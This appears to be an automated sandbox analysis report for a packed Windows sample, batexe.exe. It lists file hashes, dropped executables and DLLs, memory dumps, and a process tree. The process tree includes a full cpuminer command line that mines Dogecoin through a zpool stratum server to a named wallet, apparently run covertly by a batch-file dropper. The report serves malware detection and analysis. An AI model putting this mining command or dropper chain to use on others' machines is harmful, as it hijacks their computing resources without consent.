73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
295s
max time network
299s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
22/02/2024, 00:40

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3476	b2e.exe
4228	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4228	cpuminer-sse2.exe
4228	cpuminer-sse2.exe
4228	cpuminer-sse2.exe
4228	cpuminer-sse2.exe
4228	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1464-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1464 wrote to memory of 3476	1464	batexe.exe	74
PID 1464 wrote to memory of 3476	1464	batexe.exe	74
PID 1464 wrote to memory of 3476	1464	batexe.exe	74
PID 3476 wrote to memory of 980	3476	b2e.exe	75
PID 3476 wrote to memory of 980	3476	b2e.exe	75
PID 3476 wrote to memory of 980	3476	b2e.exe	75
PID 980 wrote to memory of 4228	980	cmd.exe	78
PID 980 wrote to memory of 4228	980	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1464
- C:\Users\Admin\AppData\Local\Temp\BBDE.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\BBDE.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\BBDE.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3476
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\BEDB.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:980
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4228

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\BBDE.tmp\b2e.exe

Filesize
9.0MB

MD5
b4b19cb639b6d67fbfc07c52c6346fde

SHA1
20f6302f57a579d48ef7cb7a452fb314e5dac03c

SHA256
0b58357ad712c7f79812b5b439d9c4200fe4c143aa9b91df2b3b3d2dbfa7aaca

SHA512
49de30bf60d99076874da8713eaec914b6607ad0cbc4e51af400af98ac9901f3cfade6aa2ded0f41eb5a2014c29580c0b47e155e7c9774db62687583d73dba00

Download Submit
C:\Users\Admin\AppData\Local\Temp\BBDE.tmp\b2e.exe

Filesize
8.8MB

MD5
9222e453b5916a95c2fa3ba6f8a8fb5b

SHA1
4f199aa0943bcbd40fa920605f3cae3430edbdf6

SHA256
0bed24d15677f3d96623fd785ab8adce3b1251acbbcfc1df2a31e98ddf65e3b7

SHA512
1a060db085c95891246a8d637e5daa00d90e416b7d7a05bfb66f902a4331751528c5de7045e890a3aa855e570f2f65a8ef7bb0425f0821a66535a890bc6b76c8

Download Submit
C:\Users\Admin\AppData\Local\Temp\BEDB.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.4MB

MD5
fd203783c51bb9a6ee512528fa4024aa

SHA1
76200993aa7cc8e1617d8de3731663043bfd65fc

SHA256
ef7a3af2a2d5e0e5f64bd921d8829b66991746492cc30ddbf8f55383d698d350

SHA512
e5c1920b44acdc6c56b72d96d5a5a20f5a48c3c94609f4359ff364834e00591131fc216781b7de718685331f10d3d159f09a75d90c74f06a812be04dfb5c0345

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.9MB

MD5
536e6e4961f932727cbcfeb0b3fee8d6

SHA1
cb94299c6cfed5f057371abf81f41a51550eeba3

SHA256
b04f4ba1b9647e21eb3d76fe3adf925a3cbee9633292d44d24b50f961d3e578f

SHA512
19a9113ddc6711eb24ceca92a3f84d2cf0365b5f42ef592fbb8209523350fe281855db707be2be270ac37a949048f99a5a78c46e986623bc3b8a66304a3c4c17

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.3MB

MD5
448df14b5d08dd22b58897d4a4c51434

SHA1
ec1bca9a995308d182cb749998a75ff880c9410e

SHA256
22c6c9bd04e46a72053de3ecae10bab83690a6fa3227eb9da248e0bc4243279e

SHA512
59919a4d486244c949163529e6f8f4bcd775a8f93fdc0990a846fa1d927299338d8631e3adb28a4a382ccbb2b4b1cc7dc8cdd41a4b0ce8e87cc117137397fd8a

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1464-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3476-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3476-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4228-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4228-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4228-43-0x0000000073DA0000-0x0000000073E38000-memory.dmp

Filesize
608KB

Download
memory/4228-44-0x0000000001100000-0x00000000029B5000-memory.dmp

Filesize
24.7MB

Download
memory/4228-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4228-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4228-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4228-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4228-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4228-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4228-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4228-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4228-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4228-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4228-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download